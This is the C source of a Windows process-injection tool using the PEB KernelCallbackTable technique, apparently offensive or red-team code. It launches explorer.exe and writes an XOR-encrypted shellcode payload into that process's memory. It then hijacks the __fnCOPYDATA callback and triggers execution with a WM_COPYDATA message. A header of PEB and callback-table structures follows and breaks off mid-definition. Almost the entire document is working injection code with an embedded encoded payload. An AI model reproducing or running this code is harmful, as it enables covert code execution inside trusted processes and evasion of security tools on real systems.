#include <stdio.h>
#include <windows.h>
#include "struct.h"
#include "helper.h"

void LoadNtQueryInformationProcess()
{
    printf(COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...\\n" COLOR_RESET);
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
    if (hNtdll)
    {
        NtQueryInformationProcess = (PFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtQueryInformationProcess");
        if (NtQueryInformationProcess)
        {
            printf(COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%p\\n" COLOR_RESET, NtQueryInformationProcess);
        }
        else
        {
            printf(COLOR_RED_BOLD "\\t[-] Failed to resolve NtQueryInformationProcess address.\\n" COLOR_RESET);
        }
    }
}

void EnableDebugPrivilege()
{
    printf(COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...\\n" COLOR_RESET);
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
        CloseHandle(hToken);
        // printf( COLOR_GREEN_BOLD "\\t[+] Debug Privilege enabled.\\n" COLOR_RESET );
    }
    else
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to enable Debug Privilege.\\n" COLOR_RESET);
    }
}
void xor_decrypt(unsigned char* data, size_t length, const char* key) {
    size_t key_len = strlen(key);
    for (size_t i = 0; i < length; i++) {
        data[i] ^= key[i % key_len];  // XOR each byte with the key (loop over key if necessary)
    }
}

unsigned char payload[] = "\\x8e\\x2d\\xee\\x8b\\x82\\x8d\\xa5\\x6f\\x72\\x65\\x2c\\x3e\\x33\\x35\\x3f\\x3e\\x24\\x2d\\x5c\\xbd\\x17\\x2d\\xe6\\x3d\\x12\\x2d\\xe6\\x3d\\x6a\\x2d\\xe6\\x3d\\x52\\x2d\\xe6\\x1d\\x22\\x2d\\x62\\xd8\\x38\\x2f\\x20\\x5e\\xbb\\x2d\\x5c\\xaf\\xde\\x59\\x0c\\x13\\x70\\x49\\x4d\\x2e\\xb3\\xac\\x60\\x2e\\x73\\xa4\\x8f\\x82\\x20\\x24\\x3c\\x27\\xf9\\x37\\x4d\\xe4\\x30\\x59\\x25\\x6e\\xa2\\x03\\xec\\x17\\x6a\\x6e\\x6f\\x1a\\x00\\xee\\xed\\xe7\\x72\\x65\\x6d\\x27\\xf7\\xa5\\x19\\x08\\x3a\\x64\\xbd\\x3f\\xf9\\x2d\\x75\\x2b\\xf9\\x25\\x4d\\x26\\x73\\xb5\\x8e\\x39\\x3a\\x9a\\xa4\\x2e\\xf9\\x51\\xe5\\x27\\x73\\xb3\\x20\\x5e\\xbb\\x2d\\x5c\\xaf\\xde\\x24\\xac\\xa6\\x7f\\x24\\x6c\\xae\\x4a\\x85\\x18\\x9e\\x3e\\x66\\x21\\x4b\\x7a\\x20\\x54\\xbe\\x07\\xbd\\x35\\x2b\\xf9\\x25\\x49\\x26\\x73\\xb5\\x0b\\x2e\\xf9\\x69\\x25\\x2b\\xf9\\x25\\x71\\x26\\x73\\xb5\\x2c\\xe4\\x76\\xed\\x25\\x6e\\xa2\\x24\\x35\\x2e\\x2a\\x3b\\x34\\x35\\x33\\x3d\\x2c\\x36\\x33\\x3f\\x25\\xec\\x9e\\x45\\x2c\\x3d\\x8d\\x85\\x35\\x2e\\x2b\\x3f\\x25\\xe4\\x60\\x8c\\x22\\x90\\x8d\\x9a\\x30\\x05\\x72\\x2c\\xd3\\x18\\x1b\\x0b\\x04\\x01\\x17\\x11\\x6d\\x2e\\x24\\x2c\\xe4\\x89\\x3e\\xec\\x9c\\x2e\\xc8\\x29\\x1a\\x49\\x75\\x9a\\xb8\\x27\\x43\\xac\\x25\\x5e\\xa0\\x28\\x5c\\xaf\\x3f\\x54\\xa4\\x2e\\x22\\x24\\x3d\\x2e\\xc8\\x5f\\x3b\\x16\\xd5\\x9a\\xb8\\x84\\x01\\x3f\\x25\\xe6\\xb3\\x24\\xd5\\x3f\\x72\\x65\\x6d\\x22\\x43\\xac\\x2c\\x3e\\x33\\x34\\x07\\x6c\\x33\\x34\\x2c\\xd5\\x25\\xec\\xf2\\xa9\\x8d\\xb0\\x86\\x36\\x29\\x2d\\xe4\\xae\\x3a\\x54\\xbf\\x26\\xfb\\xbd\\x20\\x5e\\xbb\\x37\\x05\\x6f\\x70\\x25\\xe9\\x3d\\x20\\x24\\xd7\\x84\\x27\\x4b\\x56\\x90\\xa7\\x2d\\xe4\\xa9\\x3a\\xe6\\xae\\x3f\\x18\\x6f\\x32\\x27\\xfb\\x94\\x25\\xe6\\xa8\\x2c\\xaa\\xaf\\x8d\\x9a\\x92\\x90\\x3f\\x54\\xa4\\x3d\\x20\\x24\\xd7\\x42\\x74\\x7d\\x16\\x90\\xa7\\xe0\\xad\\x60\\xf7\\xf8\\x6c\\x6f\\x72\\x2d\\x92\\xa0\\x7d\\xe1\\xe1\\x6e\\x72\\x65\\x86\\xbc\\x9b\\x81\\x6c\\x6f\\x72\\x8d\\xcf\\x90\\x8d\\x9a\\x42\\x58\\x1d\\x0f\\x20\\x6f\\xc9\\x5e\\xdc\\x73\\x1d\\xed\\x11\\x0c\\x3f\\xc8\\x5b\\x06\\x77\\xbe\\x1f\\xe5\\xee\\xc9\\x28\\x75\\x4e\\x5a\\x79\\xa3\\xea\\xc7\\x67\\x70\\x8e\\xef\\xd5\\xa5\\xed\\xba\\xa4\\xb8\\xb8\\xfe\\x2e\\x17\\x83\\x6c\\x29\\x5b\\x5a\\xf6\\x78\\xee\\x48\\x19\\xa7\\xca\\xf9\\xda\\xa8\\xd2\\x43\\x7e\\x87\\x41\\x59\\xdd\\x82\\xbc\\xa8\\xef\\x79\\x37\\x42\\xf8\\xdb\\x70\\x8c\\x65\\x38\\x1c\\x17\\x17\\x40\\x2e\\x15\\x00\\x03\\x1b\\x48\\x45\\x20\\x00\\x08\\x0c\\x01\\x03\\x13\\x4a\\x58\\x41\\x42\\x45\\x45\\x38\\x1b\\x0b\\x09\\x00\\x05\\x16\\x4d\\x21\\x26\\x45\\x5b\\x41\\x43\\x5e\\x4d\\x38\\x1b\\x0b\\x5b\\x5b\\x49\\x45\\x15\\x59\\x46\\x5e\\x4d\\x1d\\x04\\x5f\\x59\\x58\\x5c\\x55\\x44\\x4f\\x35\\x00\\x0e\\x04\\x1d\\x4a\\x5f\\x5f\\x43\\x55\\x5d\\x5e\\x42\\x54\\x4d\\x29\\x1b\\x17\\x08\\x09\\x1d\\x1d\\x42\\x5b\\x45\\x4b\\x5d\\x62\\x78\\x65\\x63\\x89\\x63\\xef\\x7f\\x10\\xc7\\x73\\xe8\\x92\\xb7\\x84\\xe9\\x56\\x21\\x64\\xbe\\xcc\\xba\\x7d\\xda\\xb7\\x2d\\x6a\\x76\\xc9\\x82\\x6f\\xcd\\x23\\x75\\xf2\\x7c\\x5f\\xdf\\xc4\\x4f\\x63\\x91\\xf3\\x23\\x31\\x39\\x53\\x01\\xad\\xf0\\x7f\\xf6\\x1b\\xcb\\x7f\\x3f\\xab\\xa6\\x07\\x94\\x7c\\x3a\\xc6\\x65\\xab\\x07\\xbf\\xfe\\xe7\\xf0\\x50\\x67\\xba\\x38\\x35\\xc1\\x21\\xb8\\xc9\\xde\\xc9\\xab\\x7e\\x47\\xa7\\x13\\x18\\xd8\\x89\\x78\\x3c\\x5e\\xbb\\x62\\x00\\x7a\\xee\\xdb\\x80\\x6f\\x62\\x30\\xe5\\xe7\\x27\\xd7\\x4e\\xbe\\xe1\\x77\\xeb\\x3e\\xb7\\x85\\xd2\\x4a\\x8a\\xca\\xe6\\x27\\xa7\\x99\\xfe\\x50\\xb3\\xa7\\xa3\\xb0\\xb9\\x94\\x94\\xcd\\x06\\xdf\\x6c\\x3c\\x03\\xb5\\x2f\\x20\\xaa\\x9f\\x81\\x84\\x06\\x65\\x25\\x35\\xd7\\xf2\\xaa\\xf9\\x4b\\x42\\x3c\\x01\\x30\\x89\\x42\\x91\\xf8\\xba\\xd1\\x4b\\x99\\x6c\\x32\\x16\\xce\\x09\\x07\\x8e\\xf9\\x1e\\x85\\x2c\\xe0\\xee\\x93\\x8a\\xc4\\xb7\\xbc\\x69\\xc9\\x8f\\xa6\\x4c\\x68\\xc6\\x77\\x6b\\xe4\\x26\\x6b\\xa8\\x68\\xe8\\x14\\xa9\\x5b\\x8c\\x4e\\xfa\\xd2\\x53\\x34\\xfa\\x3e\\xb9\\x84\\x50\\x53\\xe3\\x65\\x2c\\xd1\\x82\\xd0\\xcf\\x39\\x8d\\xb0\\x25\\x5e\\xbb\\xdf\\x6d\\x6f\\x32\\x65\\x2c\\xd7\\x72\\x75\\x6d\\x6f\\x33\\xdc\\x2d\\x6f\\x72\\x65\\x2c\\xd5\\x2a\\xc1\\x3e\\x8a\\x8d\\xb0\\x25\\xfc\\x21\\x36\\x25\\xe6\\x95\\x2d\\xe4\\x9e\\x3a\\xec\\xb7\\x2e\\xca\\x65\\x4d\\x6f\\x72\\x2c\\xe4\\x96\\x33\\xdf\\x7f\\xf9\\xfb\\x87\\x92\\xba\\x3a\\xe6\\xa9\\x4f\\xf7\\xa5\\x19\\xd9\\x14\\xee\\x6a\\x27\\x73\\xa6\\xe8\\xaf\\x07\\xb2\\x35\\x37\\x2a\\x2d\\x68\\x6f\\x72\\x65\\x6d\\x3f\\xb1\\x8d\\xf2\\x92\\x8d\\x9a\\x5c\\x5f\\x5c\\x55\\x43\\x5d\\x5c\\x50\\x6d\\x55\\xac\\x0d\\xdc";
size_t encrypted_length = sizeof(payload);
const char* key = "remo";  // Key used for XOR encryption
SIZE_T shellcodeSize = sizeof(payload) - 1;
SIZE_T bytesRead = 0;

int main()
{
    printf(COLOR_YELLOW_BOLD "[*] Initializing exploit...\\n" COLOR_RESET);

    EnableDebugPrivilege();
    LoadNtQueryInformationProcess();

    if (!NtQueryInformationProcess)
    {
        printf(COLOR_RED_BOLD "\\t[-] NtQueryInformationProcess is NULL. Exiting...\\n" COLOR_RESET);
        return -1;
    }

    printf(COLOR_YELLOW_BOLD "[*] Starting PEB KernelCallbackTable Injection Exploit...\\n\\n" COLOR_RESET);

    // Step 1: Create a new explorer process (ensure it is visible to the user)
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;

    printf(COLOR_YELLOW_BOLD "\\t[*] Creating new explorer process...\\n" COLOR_RESET);
    if (!CreateProcess(
        L"C:\\\\Windows\\\\explorer.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi
    ))
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to create explorer process. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }

    printf(COLOR_GREEN_BOLD "\\t[+] explorer process created successfully. PID: %d\\n" COLOR_RESET, pi.dwProcessId);

    // Step 2: Wait for the new process to initialize
    printf(COLOR_YELLOW_BOLD "\\t[*] Waiting for explorer initialization...\\n" COLOR_RESET);
    WaitForInputIdle(pi.hProcess, 1000);

    // Step 3: Find the explorer window handle
    HWND hWindow = NULL;
    DWORD waitTime = 0;
    while (hWindow == NULL && waitTime < MAX_WAIT_TIME)
    {
        hWindow = FindWindow(L"Explorer", NULL);
        if (!hWindow)
        {
            Sleep(500);  // Wait for 500 ms before retrying
            waitTime += 500;
        }
    }

    if (!hWindow)
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to find explorer window handle after waiting for %d milliseconds.\\n" COLOR_RESET, MAX_WAIT_TIME);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return -1;
    }

    printf(COLOR_GREEN_BOLD "\\t[+] Window Handle found: 0x%p\\n" COLOR_RESET, hWindow);

    // Step 4: Get the process ID of the explorer
    DWORD pid;
    GetWindowThreadProcessId(hWindow, &pid);
    printf(COLOR_GREEN_BOLD "\\t[+] Process ID: %d\\n" COLOR_RESET, pid);

    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE,
        pid
    );
    if (!hProcess)
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to open target process. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\\t[+] Process Handle: 0x%p\\n" COLOR_RESET, hProcess);

    // -----------------------------------------------------
    // Using NtQueryInformationProcess to get PEB
    // -----------------------------------------------------
    printf(COLOR_YELLOW_BOLD "\\t[*] Retrieving PEB Address using NtQueryInformationProcess...\\n" COLOR_RESET);
    PROCESS_BASIC_INFORMATION pbi;
    ULONG returnLength;
    NTSTATUS status = NtQueryInformationProcess(
        hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &returnLength
    );
    if (status != 0)
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to query process information. NTSTATUS: 0x%lx\\n" COLOR_RESET, status);
        return -1;
    }
    PVOID PebBaseAddress = pbi.PebBaseAddress;
    printf(COLOR_BLUE_BOLD "\\t\\t[*] PEB Address: 0x%p\\n" COLOR_RESET, PebBaseAddress);

    // Step 6: Read KernelCallbackTable from the target process's PEB
    PVOID KernelCallbackTable;
    SIZE_T bytesRead = 0;
    if (!ReadProcessMemory(
        hProcess,
        (PBYTE)PebBaseAddress + offsetof(PEB, KernelCallbackTable),
        &KernelCallbackTable,
        sizeof(PVOID),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to read KernelCallbackTable. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_BLUE_BOLD "\\t\\t[*] KernelCallbackTable Address: 0x%p\\n" COLOR_RESET, KernelCallbackTable);

    // Step 7: Read KernelCallbackTable structure from the target process
    KERNELCALLBACKTABLE CCC;
    if (!ReadProcessMemory(
        hProcess,
        KernelCallbackTable,
        &CCC,
        sizeof(CCC),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to read KernelCallbackTable structure. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\\n\\t[+] KernelCallbackTable read successfully. %zu bytes read.\\n" COLOR_RESET, bytesRead);
    printf(COLOR_BLUE_BOLD "\\t\\t[*] Dumping KernelCallbackTable structure:\\n" COLOR_RESET);
    printf(COLOR_GREEN_BOLD "\\t\\t\\t__fnCOPYDATA: 0x%p\\n" COLOR_RESET, (void*)CCC.__fnCOPYDATA);
    printf(COLOR_GREEN_BOLD "\\t\\t\\t__fnCOPYGLOBALDATA: 0x%p\\n" COLOR_RESET, (void*)CCC.__fnCOPYGLOBALDATA);
    printf(COLOR_GREEN_BOLD "\\t\\t\\t__fnDWORD: 0x%p\\n" COLOR_RESET, (void*)CCC.__fnDWORD);

    // -----------------------------------------------------
    // Assembly Method: Using LocatePEB and ResolveKernelCallbackTable
    // -----------------------------------------------------
    /*
    //
    printf( COLOR_YELLOW_BOLD "\\t[*] Retrieving PEB Address using Assembly...\\n" COLOR_RESET );
    PVOID PebBaseAddressASM = LocatePEB();
    printf( COLOR_BLUE_BOLD "\\t\\t[*] PEB Address (from ASM): 0x%p\\n" COLOR_RESET, PebBaseAddressASM );

    printf( COLOR_YELLOW_BOLD "\\t[*] Resolving KernelCallbackTable using Assembly...\\n" COLOR_RESET );
    PVOID KernelCallbackTableASM = ResolveKernelCallbackTable( PebBaseAddressASM );
    printf( COLOR_BLUE_BOLD "\\t\\t[*] KernelCallbackTable Address (from ASM): 0x%p\\n" COLOR_RESET, KernelCallbackTableASM );

    // Continue using KernelCallbackTableASM as needed
    */

    // Step 8: Write payload to remote buffer
    printf(COLOR_YELLOW_BOLD "\\n\\t[*] Allocating remote buffer for payload...\\n" COLOR_RESET);
    LPVOID remotebuf = VirtualAllocEx(
        hProcess,
        NULL,
        shellcodeSize,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    xor_decrypt(payload, encrypted_length, key);
    if (!remotebuf)
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to allocate remote buffer. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    if (!WriteProcessMemory(
        hProcess,
        remotebuf,
        payload,
        shellcodeSize,
        NULL
    ))
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to write payload to remote buffer. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\\t[+] Payload written to remote buffer at: 0x%p\\n" COLOR_RESET, remotebuf);

    // Step 9: Modify __fnCOPYDATA in the KernelCallbackTable
    printf(COLOR_YELLOW_BOLD "\\t[*] Modifying __fnCOPYDATA to point to payload...\\n" COLOR_RESET);
    CCC.__fnCOPYDATA = (ULONG_PTR)remotebuf;
    printf(COLOR_BLUE_BOLD "\\t\\t[*] __fnCOPYDATA now points to: 0x%p\\n" COLOR_RESET, remotebuf);

    // Step 10: Clone modified KernelCallbackTable
    printf(COLOR_YELLOW_BOLD "\\n\\t[*] Cloning modified KernelCallbackTable...\\n" COLOR_RESET);
    LPVOID cloneCCC = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(CCC),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE
    );
    if (!cloneCCC)
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    if (!WriteProcessMemory(
        hProcess,
        cloneCCC,
        &CCC,
        sizeof(CCC),
        NULL
    ))
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to write cloned KernelCallbackTable. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\\t[+] Cloned KernelCallbackTable written at: 0x%p\\n" COLOR_RESET, cloneCCC);

    // Step 11: Update PEB KernelCallbackTable to cloned KernelCallbackTable
    printf(COLOR_YELLOW_BOLD "\\t[*] Updating PEB with cloned KernelCallbackTable...\\n" COLOR_RESET);
    if (!WriteProcessMemory(
        hProcess,
        (PBYTE)PebBaseAddress + offsetof(PEB, KernelCallbackTable),
        &cloneCCC,
        sizeof(PVOID),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to update PEB KernelCallbackTable. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\\t[+] PEB KernelCallbackTable updated successfully!\\n" COLOR_RESET);

    // Step 12: Ensure Memory Protection for Payload
    DWORD oldProtect;
    if (!VirtualProtectEx(
        hProcess,
        remotebuf,
        shellcodeSize,
        PAGE_EXECUTE_READ,
        &oldProtect
    ))
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to change memory protection for payload. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\\t[+] Memory protection for payload set to PAGE_EXECUTE_READ.\\n" COLOR_RESET);

    // Step 13: Trigger the payload
    printf(COLOR_YELLOW_BOLD "\\t[*] Sending message to trigger the payload...\\n" COLOR_RESET);
    COPYDATASTRUCT cds;
    WCHAR msg[] = L"LJX";
    cds.dwData = 1;
    cds.cbData = (lstrlenW(msg) + 1) * sizeof(WCHAR);
    cds.lpData = msg;
    LRESULT result = SendMessage(
        hWindow,
        WM_COPYDATA,
        (WPARAM)hWindow,
        (LPARAM)&cds
    );
    if (result == 0 && GetLastError() != 0)
    {
        printf(COLOR_RED_BOLD "\\t[-] Failed to send message to trigger payload. Error: %d\\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\\t[+] Payload triggered!\\n" COLOR_RESET);

    // Cleanup
    printf(COLOR_YELLOW_BOLD "\\t[*] Cleaning up...\\n" COLOR_RESET);
    VirtualFreeEx(hProcess, remotebuf, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, cloneCCC, 0, MEM_RELEASE);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(hProcess);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf(COLOR_GREEN_BOLD "\\n[+] YAAAAAAAAAY.\\n" COLOR_RESET);
    printf(COLOR_GREEN_BOLD "[+] Exploit completed successfully.\\n" COLOR_RESET);
    return 0;
}

#pragma once
#include <Windows.h>

typedef struct _UNICODE_STRING {
    USHORT         Length;
    USHORT         MaximumLength;
    PWSTR          Buffer;
} UNICODE_STRING;

typedef struct _KERNELCALLBACKTABLE_T {
    ULONG_PTR __fnCOPYDATA;
    ULONG_PTR __fnCOPYGLOBALDATA;
    ULONG_PTR __fnDWORD;
    ULONG_PTR __fnNCDESTROY;
    ULONG_PTR __fnDWORDOPTINLPMSG;
    ULONG_PTR __fnINOUTDRAG;
    ULONG_PTR __fnGETTEXTLENGTHS;
    ULONG_PTR __fnINCNTOUTSTRING;
    ULONG_PTR __fnPOUTLPINT;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
    ULONG_PTR __fnINLPCREATESTRUCT;
    ULONG_PTR __fnINLPDELETEITEMSTRUCT;
    ULONG_PTR __fnINLPDRAWITEMSTRUCT;
    ULONG_PTR __fnPOPTINLPUINT;
    ULONG_PTR __fnPOPTINLPUINT2;
    ULONG_PTR __fnINLPMDICREATESTRUCT;
    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
    ULONG_PTR __fnINLPWINDOWPOS;
    ULONG_PTR __fnINOUTLPPOINT5;
    ULONG_PTR __fnINOUTLPSCROLLINFO;
    ULONG_PTR __fnINOUTLPRECT;
    ULONG_PTR __fnINOUTNCCALCSIZE;
    ULONG_PTR __fnINOUTLPPOINT5_;
    ULONG_PTR __fnINPAINTCLIPBRD;
    ULONG_PTR __fnINSIZECLIPBRD;
    ULONG_PTR __fnINDESTROYCLIPBRD;
    ULONG_PTR __fnINSTRING;
    ULONG_PTR __fnINSTRINGNULL;
    ULONG_PTR __fnINDEVICECHANGE;
    ULONG_PTR __fnPOWERBROADCAST;
    ULONG_PTR __fnINLPUAHDRAWMENU;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
    ULONG_PTR __fnOUTDWORDINDWORD;
    ULONG_PTR __fnOUTLPRECT;
    ULONG_PTR __fnOUTSTRING;
    ULONG_PTR __fnPOPTINLPUINT3;
    ULONG_PTR __fnPOUTLPINT2;
    ULONG_PTR __fnSENTDDEMSG;
    ULONG_PTR __fnINOUTSTYLECHANGE;
    ULONG_PTR __fnHkINDWORD;
    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSG;
    ULONG_PTR __fnHkINLPRECT;
    ULONG_PTR __fnHkOPTINLPEVENTMSG;
    ULONG_PTR __xxxClientCallDelegateThread;
    ULONG_PTR __ClientCallDummyCallback;
    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
    ULONG_PTR __xxxClientCallDevCallbackCapture;
    ULONG_PTR __xxxClientCallDitThread;
    ULONG_PTR __xxxClientEnableMMCSS;
    ULONG_PTR __xxxClientUpdateDpi;
    ULONG_PTR __xxxClientExpandStringW;
    ULONG_PTR __ClientCopyDDEIn1;
    ULONG_PTR __ClientCopyDDEIn2;
    ULONG_PTR __ClientCopyDDEOut1;
    ULONG_PTR __ClientCopyDDEOut2;
    ULONG_PTR __ClientCopyImage;
    ULONG_PTR __ClientEventCallback;
    ULONG_PTR __ClientFindMnemChar;
    ULONG_PTR __ClientFreeDDEHandle;
    ULONG_PTR __ClientFreeLibrary;
    ULONG_PTR __ClientGetCharsetInfo;
    ULONG_PTR __ClientGetDDEFlags;
    ULONG_PTR __ClientGetDDEHookData;
    ULONG_PTR __ClientGetListboxString;
    ULONG_PTR __ClientGetMessageMPH;
    ULONG_PTR __ClientLoadImage;
    ULONG_PTR __ClientLoadLibrary;
    ULONG_PTR __ClientLoadMenu;
    ULONG_PTR __ClientLoadLocalT1Fonts;
    ULONG_PTR __ClientPSMTextOut;
    ULONG_PTR __ClientLpkDrawTextEx;
    ULONG_PTR __ClientExtTextOutW;
    ULONG_PTR __ClientGetTextExtentPointW;
    ULONG_PTR __ClientCharToWchar;
    ULONG_PTR __ClientAddFontResourceW;
    ULONG_PTR __ClientThreadSetup;
    ULONG_PTR __ClientDeliverUserApc;
    ULONG_PTR __ClientNoMemoryPopup;
    ULONG_PTR __ClientMonitorEnumProc;
    ULONG_PTR __ClientCallWinEventProc;
    ULONG_PTR __ClientWaitMessageExMPH;
    ULONG_PTR __ClientWOWGetProcModule;
    ULONG_PTR __ClientWOWTask16SchedNotify;
    ULONG_PTR __ClientImmLoadLayout;
    ULONG_PTR __ClientImmProcessKey;
    ULONG_PTR __fnIMECONTROL;
    ULONG_PTR __fnINWPARAMDBCSCHAR;
    ULONG_PTR __fnGETTEXTLENGTHS2;
    ULONG_PTR __fnINLPKDRAWSWITCHWND;
    ULONG_PTR __ClientLoadStringW;
    ULONG_PTR __ClientLoadOLE;
    ULONG_PTR __ClientRegisterDragDrop;
    ULONG_PTR __ClientRevokeDragDrop;
    ULONG_PTR __fnINOUTMENUGETOBJECT;
    ULONG_PTR __ClientPrinterThunk;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
    ULONG_PTR __fnOUTLPSCROLLBARINFO;
    ULONG_PTR __fnINLPUAHDRAWMENU2;
    ULONG_PTR __fnINLPUAHDRAWMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU3;
    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU4;
    ULONG_PTR __fnOUTLPTITLEBARINFOEX;
    ULONG_PTR __fnTOUCH;
    ULONG_PTR __fnGESTURE;
    ULONG_PTR __fnPOPTINLPUINT4;
    ULONG_PTR __fnPOPTINLPUINT5;
    ULONG_PTR __xxxClientCallDefaultInputHandler;
    ULONG_PTR __fnEMPTY;
    ULONG_PTR __ClientRimDevCallback;
    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
    ULONG_PTR __ClientCallLocalMouseHooks;
    ULONG_PTR __xxxClientBroadcastThemeChange;
    ULONG_PTR __xxxClientCallDevCallbackSimple;
    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
    ULONG_PTR __fnGETWINDOWDATA;
    ULONG_PTR __fnINOUTSTYLECHANGE2;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

typedef struct _PEB
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages : 1;                                  //0x3
            UCHAR IsProtectedProcess : 1;                                   //0x3
            UCHAR IsImageDynamicallyRelocated : 1;                          //0x3
            UCHAR SkipPatchingUser32Forwarders : 1;                         //0x3
            UCHAR IsPackagedProcess : 1;                                    //0x3
            UCHAR IsAppContainer : 1;                                       //0x3
            UCHAR IsProtectedProcessLight : 1;                              //0x3
            UCHAR IsLongPathAwareProcess : 1;                               //0x3
        };
    };
    UCHAR Padding0[4];                                                      //0x4
    VOID* Mutant;                                                           //0x8
    VOID* ImageBaseAddress;                                                 //0x10
    struct _PEB_LDR_DATA* Ldr;                                              //0x18
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x20
    VOID* SubSystemData;                                                    //0x28
    VOID* ProcessHeap;                                                      //0x30
    struct _RTL_CRITICAL_SECTION* FastPebLock;                              //0x38
    union _SLIST_HEADER* volatile AtlThunkSListPtr;                         //0x40
    VOID* IFEOKey;                                                          //0x48
    union
    {
        ULONG CrossProcessFlags;                                            //0x50
        struct
        {
            ULONG ProcessInJob : 1;                                         //0x50
            ULONG ProcessInitializing : 1;                                  //0x50
            ULONG ProcessUsingVEH : 1;                                      //0x50
            ULONG ProcessUsingVCH : 1;                                      //0x50
            ULONG ProcessUsingFTH : 1;                                      //0x50
            ULONG ProcessPreviouslyThrottled : 1;                           //0x50
            ULONG ProcessCurrentlyThrottled : 1;                            //0x50
            ULONG ProcessImagesHotPatched : 1;                              //0x50
            ULONG ReservedBits0 : 24;                                       //0x50
        };
    };
    UCHAR Padding1[4];                                                      //0x54
    union
    {
        VOID* KernelCallbackTable;                                          //0x58
        VOID* UserSharedInfoPtr;                                            //0x58
    };
    ULONG SystemReserved;                                                   //0x60
    ULONG AtlThunkSListPtr32;                                               //0x64
    VOID* ApiSetMap;                                                        //0x68
    ULONG TlsExpansionCounter;                                              //0x70
    UCHAR Padding2[4];                                                      //0x74
    VOID* TlsBitmap;                                                        //0x78
